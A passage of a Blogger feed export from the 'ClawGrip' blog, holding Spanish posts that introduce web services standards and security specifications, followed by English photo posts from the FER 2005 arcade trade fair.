 &lt;dd&gt;Ya que tenemos normalizados los mensajes y los protocolos de transporte, parece normal que tengamos un modo com&amp;uacute;n de atacar a los servicios (que no es m&amp;aacute;s que una variante de las viejas llamadas a procedimientos remotos).&lt;br&gt; Hasta aqu&amp;iacute; nada nuevo, pero a&amp;ntilde;adamos un lenguaje formal de descripci&amp;oacute;n de estos servicios (&lt;a href="http://www.w3.org/TR/wsdl"&gt;WSDL&lt;/a&gt;) &amp;iquest;Que tenemos ahora? Pues una forma universal de describir que servicio ofrecemos y como se puede usar ese servicio &amp;iquest;Y si ponemos en un directorio todas las descripciones de los servicios de nuestro sistema (&lt;a href="http://www.uddi.org/"&gt;UDDI&lt;/a&gt;)? Pues eso, la descripci&amp;oacute;n completa de los servicios de nuestro sistema, incluyendo su modo de uso.&lt;br&gt;La utilidad de este sistema de descripci&amp;oacute;n es enorme, y va desde analizadores de WSDL para crear autom&amp;aacute;ticamente los clientes de estos servicios (o incluso el esqueleto de la parte servidora) hasta el descubrimiento autom&amp;aacute;tico de servicios y el uso "al vuelo" de estos.&lt;/dd&gt;
&lt;dt&gt;Seb Services Security&lt;/dt&gt;
&lt;dd&gt;Seguridad para servicios Web &amp;iquest;Que es realmente esto? Para empezar, una enorme sopa de letras (XKMS, SAML, XACML, ebXML, etc.), y de fondo, un intento de dotar a los servicios Web de capacidades de cifrado, firma y seguridad en general.&lt;br&gt;Vamos a intentar explicarlo con un diagrama que representa una transacci&amp;oacute;n segura con servicios Web:&lt;p&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/wssec.jpg"&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;El mensaje XML se firma (mediante &lt;a href="http://www.w3.org/Signature/"&gt;XML Signature&lt;/a&gt;) y se cifra (con &lt;a href="http://www.w3.org/Encryption/"&gt;XML Encryption&lt;/a&gt;).&lt;br&gt;El mensaje puede contener asunciones (afirmaciones que debes dar por ciertas) codificadas mediante &lt;a href="http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=security"&gt;SAML&lt;/a&gt;, que es un lenguaje especialmente dise&amp;ntilde;ado para ello.&lt;/li&gt;
&lt;li&gt;Una vez que el mensaje ha llegado al destinatario (&lt;a href="http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss"&gt;WS Security&lt;/a&gt; o &lt;a href="http://www.ebxml.org/"&gt;ebXML MS&lt;/a&gt; contemplan los pasos por los posibles intermediarios) utilizamos un servicio &lt;a href="http://www.w3.org/TR/xkms/"&gt;XKMS&lt;/a&gt; para la validación de claves contra los servicios de confianza (una &lt;b&gt;PKI&lt;/b&gt; o incluso un directorio directamente).&lt;br&gt;XKMS es un servicio de gesti&amp;oacute;n de claves (de certificados) basado en XML que hace m&amp;aacute;s sencilla la interacci&amp;oacute;n con sistemas PKI (sistemas de seguridad basados en claves asim&amp;eacute;tricas tipo p&amp;uacute;blica/privada) o equivalentes.&lt;/li&gt;
&lt;li&gt;Ya con las claves validadas, procedemos a la verificaci&amp;oacute;n y descifrado del mensaje (de nuevo mediante mediante XML Encryption y XML Digital Signature).&lt;/li&gt;
&lt;li&gt;Una vez tenemos descifrado y comprobado el contenido del mensaje, verificamos si las políticas de seguridad permiten realizar las operaciones asociadas al mensaje (usando &lt;a href="http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=xacml"&gt;XACML&lt;/a&gt;).&lt;br&gt;XACML es un lenguaje para la definici&amp;oacute;n de pol&amp;iacute;ticas y actuaciones relativas al control de accesos.&lt;/li&gt;
&lt;/ol&gt;&lt;/dd&gt;&lt;/dl&gt;&lt;/p&gt;
&lt;p&gt;Y por hoy es todo, de nuevo espero que os haya sido &amp;uacute;til, no me he extendido mucho en WSDL y UDDI porque tampoco tienen mucho fondo. Si echais de menos que hable de &lt;a href="http://www.w3.org/TR/soap/"&gt;SOAP&lt;/a&gt; pegad un comentario y en el pr&amp;oacute;ximo art&amp;iacute;culo de la serie me entretengo &amp;iexcl;No os perdais la tercera parte!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-114009375386020744?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/114009375386020744/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=114009375386020744' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/114009375386020744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/114009375386020744'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2006/02/introduccin-los-servicios-web-web.html' title='Introducción a los Servicios Web (Web Services)&lt;br&gt;Capítulo 2: Sacando partido a la normalizaci&amp;oacute;n'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-113961090494813080</id><published>2006-02-10T22:07:00.000+01:00</published><updated>2007-01-25T20:21:47.802+01:00</updated><title type='text'>Introducción a los Servicios Web (Web Services)Capítulo 1: Perversión en sus raices tecnológicas</title><content type='html'>&lt;p&gt;Intento de explicar qu&amp;eacute; son los servicios Web, para que valen, de donde provienen y que hay de fondo en toda la repercusi&amp;oacute;n tecnol&amp;oacute;gica que est&amp;aacute;n teniendo. Espero que os sea &amp;uacute;til.&lt;/p&gt;
&lt;p&gt;Para empezar entendiendo a fondo los servicios Web es mejor tomarlos como un intento de normalizaci&amp;oacute;n tecnol&amp;oacute;gica de una arquitectura cl&amp;aacute;sica cliente servidor, recordemos que especto ten&amp;iacute;a:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/cs.png" alt="Image hosting by Photobucket"&gt;&lt;/p&gt;
&lt;p&gt;Disponemos de un servidor, que ofrece una serie de servicios a trav&amp;eacute;s de la red, los cuales son accedidos por clientes en diferentes extremos. Simple y efectivo, pero entonces &amp;iquest;Donde est&amp;aacute; el problema? El gran problema es que es solo un dibujo de arquitectura, cada uno puede implementarlo como desee, usando las tecnolog&amp;iacute;as que prefiera, lo cual nos deja muy lejos de una arquitectura uniforme e interoperable, que ser&amp;iacute;a lo deseable.&lt;/p&gt;
&lt;p&gt;Bien, busquemos entonces una definici&amp;oacute;n de normativas m&amp;aacute;s o menos estricta que nos permita crear servicios interoperables sea cual sea la plataforma o el fabricante de donde provenga tanto el servidor como los clientes... Empecemos paso a paso &amp;iquest;Que necesitamos normalizar?&lt;/p&gt;
&lt;p&gt;&lt;dl&gt;
&lt;dt&gt;El formato de los mensajes&lt;/dt&gt;
&lt;dd&gt;Como el di&amp;aacute;logo es entre m&amp;aacute;quinas y no hay necesidad de que sea legible por personas, parece l&amp;oacute;gico que se tratase de un formato binario (nativo para las m&amp;aacute;quinas) y cuyo proceso autom&amp;aacute;tico sea lo m&amp;aacute;s eficiente posible, a ser posible que est&amp;eacute; ya normalizado y bien probado (mejor si es ya un est&amp;aacute;ndar internacional) y como la comunicaci&amp;oacute;n cliente-servidor va a ser por una red de comunicaciones, ser&amp;iacute;a bueno tambi&amp;eacute;n que el formato estuviese optimizado para su transmisi&amp;oacute;n por redes (m&amp;iacute;nimo tama&amp;ntilde;o de metadatos, informaci&amp;oacute;n compactada, etc.).&lt;/dd&gt;
&lt;dt&gt;El protocolo de transmisi&amp;oacute;n&lt;/dt&gt;
&lt;dd&gt;Necesitar&amp;iacute;amos que fuese el &amp;oacute;ptimo para el formato de mensajes elegido y que permitiese una operaci&amp;oacute;n orientada a conexi&amp;oacute;n &amp;iquest;Por que orientado a conexi&amp;oacute;n? Voy a poner un ejemplo tont&amp;iacute;simo de conversaci&amp;oacute;n para dejar claras las diferencias:&lt;/dd&gt;
&lt;/dl&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size="+1"&gt;Orientado a Conexi&amp;oacute;n:&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;(Tom&amp;aacute;s llama a Susana)&lt;br&gt;
&lt;b&gt;Tom&amp;aacute;s&lt;/b&gt;: Hola Susana, soy Tom&amp;aacute;s &amp;iquest;Vienes a la inaguraci&amp;oacute;n de mi casa nueva esta noche?&lt;br&gt;
&lt;b&gt;Susana&lt;/b&gt;: Vale, pero te tengo que confesar algo que he estado ocultando... Estoy casada.&lt;br&gt;
(Segundos de silencio por la sorpresa...)&lt;br&gt;
&lt;b&gt;Tom&amp;aacute;s&lt;/b&gt;: Pues no te lo vas a creer, yo tambi&amp;eacute;n te he estado ocultando algo: &amp;iexcl;Tambi&amp;eacute;n yo estoy casado! &amp;iquest;Quedamos entonces a las 23:30?&lt;br&gt;
&lt;b&gt;Susana&lt;/b&gt;: &amp;iexcl;Ok! Me llevar&amp;eacute; a mi marido para que le conozcas &amp;iquest;Estar&amp;aacute; tambi&amp;eacute;n tu mujer?&lt;br&gt;
(Segundos de silencio mientras Tom&amp;aacute;s se lo piensa...)&lt;br&gt;
&lt;b&gt;Tom&amp;aacute;s&lt;/b&gt;: Pues supongo que s&amp;iacute;... Venga nos vemos en un rato &amp;iexcl;Hasta ahora!&lt;br&gt;
&lt;b&gt;Susana&lt;/b&gt;: &amp;iexcl;Hasta ahora!&lt;br&gt;
(Fin de la llamada)&lt;/p&gt;
&lt;p&gt;&lt;font size="+1"&gt;No orientado a Conexi&amp;oacute;n:&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;(Tom&amp;aacute;s llama a Susana)&lt;br&gt;
&lt;b&gt;Tom&amp;aacute;s&lt;/b&gt;: Hola Susana, soy Tom&amp;aacute;s &amp;iquest;Vienes a la inaguraci&amp;oacute;n de mi casa nueva esta noche?&lt;br&gt;
&lt;b&gt;Susana&lt;/b&gt;: Vale, pero te tengo que confesar algo que he estado ocultando... Estoy casada.&lt;br&gt;
La llamada se corta, Tom&amp;aacute;s vuelve a llamar a Susana...&lt;br&gt;
&lt;b&gt;Tom&amp;aacute;s&lt;/b&gt;: Hola, soy yo otra vez, que antes se ha cortado. Pues no te lo vas a creer, yo tambi&amp;eacute;n te he estado ocultando algo: &amp;iexcl;Tambi&amp;eacute;n yo estoy casado! &amp;iquest;Quedamos entonces a las 23:30?&lt;br&gt;
&lt;b&gt;Susana&lt;/b&gt;: &amp;iexcl;Ok! Me llevar&amp;eacute; a mi marido para que le conozcas &amp;iquest;Estar&amp;aacute; tambi&amp;eacute;n tu mujer?&lt;br&gt;
La llamada se corta, Tom&amp;aacute;s vuelve a llamar a Susana...&lt;br&gt;
&lt;b&gt;Tom&amp;aacute;s&lt;/b&gt;: Soy Tom&amp;aacute;s, otra vez se ha cortado, te sigo contando: Pues supongo que s&amp;iacute;... Venga nos vemos en un rato &amp;iexcl;Hasta ahora!&lt;br&gt;
&lt;b&gt;Susana&lt;/b&gt;: &amp;iexcl;Hasta ahora!&lt;br&gt;
(Fin de la llamada)&lt;/p&gt;
&lt;p&gt;&amp;iquest;Veis la diferencia? En el segundo caso a Tom&amp;aacute;s le toca hacer tres llamadas (establecer tres conexiones), lo cual tiene un coste telef&amp;oacute;nico mayor (igualmente las conexiones de red suponen un coste), adem&amp;aacute;s de tener que recordarle a Susana que es &amp;eacute;l de nuevo para reanudar la conversaci&amp;oacute;n (mantener la sesi&amp;oacute;n entre conexiones). En el primer caso Tom&amp;aacute;s hace solo una llamada y la conversaci&amp;oacute;n no se corta (menor coste, menos tiempo de charla y di&amp;aacute;logo fluido), pero nada imped&amp;iacute;a a Tom&amp;aacute;s cortar en cualquier momento la llamada y volver a marcar despu&amp;eacute;s (porque un protocolo orientado a conexi&amp;oacute;n se puede forzar para que act&amp;uacute;e como no orientado a conexi&amp;oacute;n, pero no al contrario). Supongo que ya tenemos claro la conveniencia de utilizar un protocolo orientado a conexi&amp;oacute;n &amp;iquest;No?&lt;/p&gt;
&lt;p&gt;Ok, ya tenemos claros los requerimientos, vamos entonces a analizar las tecnolog&amp;iacute;as que forman la base de los servicios Web:&lt;/p&gt;
&lt;p&gt;&lt;dl&gt;
&lt;dt&gt;Formato de los mensajes: &lt;b&gt;XML&lt;/b&gt;&lt;/dt&gt;
&lt;dd&gt;XML: Enorme cantidad de metadatos (m&amp;aacute;s tama&amp;ntilde;o), no optimizado para su transmisi&amp;oacute;n por redes de comunicaci&amp;oacute;n, legible por personas, pero costoso (recursos de procesador y memoria) de procesar y analizar por m&amp;aacute;quinas, y eso s&amp;iacute;, normalizado por la industria.&lt;/dd&gt;
&lt;dt&gt;Protocolo de transmisi&amp;oacute;n: &lt;b&gt;HTTP&lt;/b&gt;&lt;/dt&gt;
&lt;dd&gt;Optimizado para el transporte de SGML (lo cual resulta &amp;oacute;ptimo dada la elecci&amp;oacute;n de XML), pero &lt;b&gt;no&lt;/b&gt; orientado a conexi&amp;oacute;n.&lt;/dd&gt;
&lt;/dl&gt;&lt;/p&gt;
&lt;p&gt;&amp;iquest;Por que? &amp;iquest;Por que usar las tecnolog&amp;iacute;as m&amp;aacute;s inadecuadas? Solo hay un motivo: Los &lt;b&gt;cortafuegos&lt;/b&gt;.&lt;/p&gt;
&lt;p&gt;Recordemos brevemente el funcionamiento de los cortafuegos:&lt;br&gt;
Si, por poner un ejemplo, tengo una red interna a mi organizaci&amp;oacute;n que da un solo servicio externo (que es el servicio Web) y unos cuantos m&amp;aacute;s servicios internos (directorio y ficheros compartidos por ejemplo), ser&amp;iacute;a deseable contar con mecanismos que asegurasen que desde fuera solo se va a poder acceder al servicio Web, mientras que desde dentro la operativa no va a estar limitada. Pues esto es lo que hace el cortafuegos. En este caso el cortafuegos solo dejar&amp;iacute;a entrar conexiones externas si van dirigidas al puerto 80 (puerto del servicio Web), con protocolo HTTP (protocolo Web) y transfiriendo alg&amp;uacute;n tipo de SGML (p&amp;aacute;ginas Web).&lt;/p&gt;
&lt;p&gt;Y si ya tengo puesto un cortafuegos en mi red (configurado como en el ejemplo) y quiero montar una arquitectura cliente-servidor hacia fuera &amp;iquest;Como lo hago? Pues hay dos opciones, o modifico la configuraci&amp;oacute;n del cortafuegos o fuerzo a mi sistema cliente servidor a usar el puerto 80, el protocolo HTTP y a intercambiar XML (tipo de SGML). Ya lo tenemos: Los servicios Web actuales.&lt;/p&gt;
&lt;p&gt;Est&amp;aacute; bien claro que hubiese sido m&amp;aacute;s f&amp;aacute;cil reconfigurar el cortafuegos, pero ya no tiene remedio. Uno de los culpables de esta aut&amp;eacute;ntica perversi&amp;oacute;n tecnol&amp;oacute;gica es XML: Por moda o por &lt;i&gt;friquismo&lt;/i&gt; XML se ve como la soluci&amp;oacute;n universal a todos los problemas de formato, y evidentemente no lo es...&lt;/p&gt;
&lt;p&gt;Seguiremos en los p&amp;oacute;ximos cap&amp;iacute;tulos desarrollando el tema &amp;iexcl;No os los perdais!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-113961090494813080?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/113961090494813080/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=113961090494813080' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/113961090494813080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/113961090494813080'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2006/02/introduccigicas.html' title='Introducci&amp;oacute;n a los Servicios Web (Web Services)&lt;br&gt;Cap&amp;iacute;tulo 1: Perversi&amp;oacute;n en sus raices tecnol&amp;oacute;gicas'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112845824216413668</id><published>2005-10-04T22:33:00.000+02:00</published><updated>2007-04-17T08:40:21.687+02:00</updated><title type='text'>FER 2005 (Part 6)</title><content type='html'>&lt;p&gt;By request, hi-res versions of the flyers:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geocities.com/tomasgarciameras/images/tunningrace.jpg"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/tunningrace_s.jpg" border="0" width="190"&gt;&lt;/a&gt;&amp;nbsp;&lt;a href="http://geocities.com/tomasgarciameras/images/flamin.jpg"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/flamin_s.jpg" border="0" width="190"&gt;&lt;/a&gt;&amp;nbsp;&lt;a href="http://geocities.com/tomasgarciameras/images/pacmanball.jpg"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/pacmanball_s.jpg" border="0" width="190"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Click on the images to load the high resolution ones.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112845824216413668?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112845824216413668/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112845824216413668' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112845824216413668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112845824216413668'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/10/fer-2005-part-6.html' title='FER 2005 (Part 6)'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112818502020167524</id><published>2005-10-01T18:24:00.000+02:00</published><updated>2007-04-17T08:41:21.462+02:00</updated><title type='text'>FER 2005 (Part 5)</title><content type='html'>&lt;p&gt;Official FER site: &lt;a href="http://www.grupointerazar.com/"&gt;http://www.grupointerazar.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And just to finish the reports, some flyers I got:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/tunningrace_s.jpg"&gt;&amp;nbsp;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/flamin_s.jpg"&gt;&amp;nbsp;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/pacmanball_s.jpg"&gt;
&lt;/p&gt;
&lt;p&gt;If anyone wants hi-res versions of any image or any flyer scan (TAFA?) just ask for it on the MAME boards.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112818502020167524?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112818502020167524/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112818502020167524' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112818502020167524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112818502020167524'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/10/fer-2005-part-5.html' title='FER 2005 (Part 5)'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112818381906405709</id><published>2005-10-01T18:19:00.000+02:00</published><updated>2007-04-17T08:41:15.839+02:00</updated><title type='text'>FER 2005 (Part 4)</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/TempKiddoGo.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Tempo Kiddo Go!&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/dsfusion.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Dancing Stage Fusion&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/dynderby.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Dynamic Derby&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112818381906405709?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112818381906405709/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112818381906405709' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112818381906405709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112818381906405709'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/10/fer-2005-part-4.html' title='FER 2005 (Part 4)'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112818321104327786</id><published>2005-10-01T17:59:00.000+02:00</published><updated>2007-04-17T08:41:10.214+02:00</updated><title type='text'>FER 2005 (Part 3)</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/tuningrac.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Gaelco Tuning Race&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/fastspeed.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Sammy Faster Than Speed&lt;/p&gt;

&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/wccf_1.jpg"&gt;
&lt;p&gt;Sega World Cup Champion Football&lt;/p&gt;

&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/wccf_2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Sega World Cup Champion Football (detail)&lt;/p&gt;

&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/derby.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Sega Derby Ownwers Club&lt;/p&gt;

&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/orun2sp.jpg"&gt;&amp;nbsp;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/gsquad.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Sega Outrun 2 SP and Ghost Squad&lt;/p&gt;

&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/nina_2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Errrr...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112818321104327786?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112818321104327786/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112818321104327786' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112818321104327786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112818321104327786'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/10/fer-2005-part-3.html' title='FER 2005 (Part 3)'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112817898261955386</id><published>2005-10-01T16:43:00.000+02:00</published><updated>2007-04-17T08:41:01.004+02:00</updated><title type='text'>FER 2005 (Part 2)</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/rx1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Chameleon RX1 (old stuff)&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/frog.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Nooooooooooo!&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/suptriv.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Nice!&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/kiddie.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Sega Thunder Blade based kiddie ride &amp;nbsp;;-)&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/tragaperras_4.jpg"&gt;&amp;nbsp;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/tragaperras_3.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Even more video-based fruit machines...&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/propin_1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Pro Pinball (video-based)&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/propin_2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Pro Pinball screen detail&lt;/p&gt;
&lt;p align="center"&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112817898261955386?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112817898261955386/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112817898261955386' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112817898261955386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112817898261955386'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/10/fer-2005-part-2.html' title='FER 2005 (Part 2)'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112817778065267534</id><published>2005-10-01T16:07:00.000+02:00</published><updated>2007-04-17T08:40:52.660+02:00</updated><title type='text'>FER 2005 (Part 1)</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/fer.jpg"&gt;&lt;/p&gt;
&lt;p&gt;That's FER!&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/tragaperras_2.jpg"&gt;&amp;nbsp;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/tragaperras_1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Some video-based fruit machines...&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/gambling_1.jpg" alt="Image hosted by Photobucket.com"&gt;&lt;/p&gt;
&lt;p&gt;Gambling machines everywhere...&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/fnf.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The Fast &amp; The Furious&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/sopranos.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The Sopranos&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/cart_1.jpg"&gt;&amp;nbsp;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/cart_2.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Mario Kart&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/targett.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Target Terror&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/nina.jpg"&gt;&lt;/p&gt;
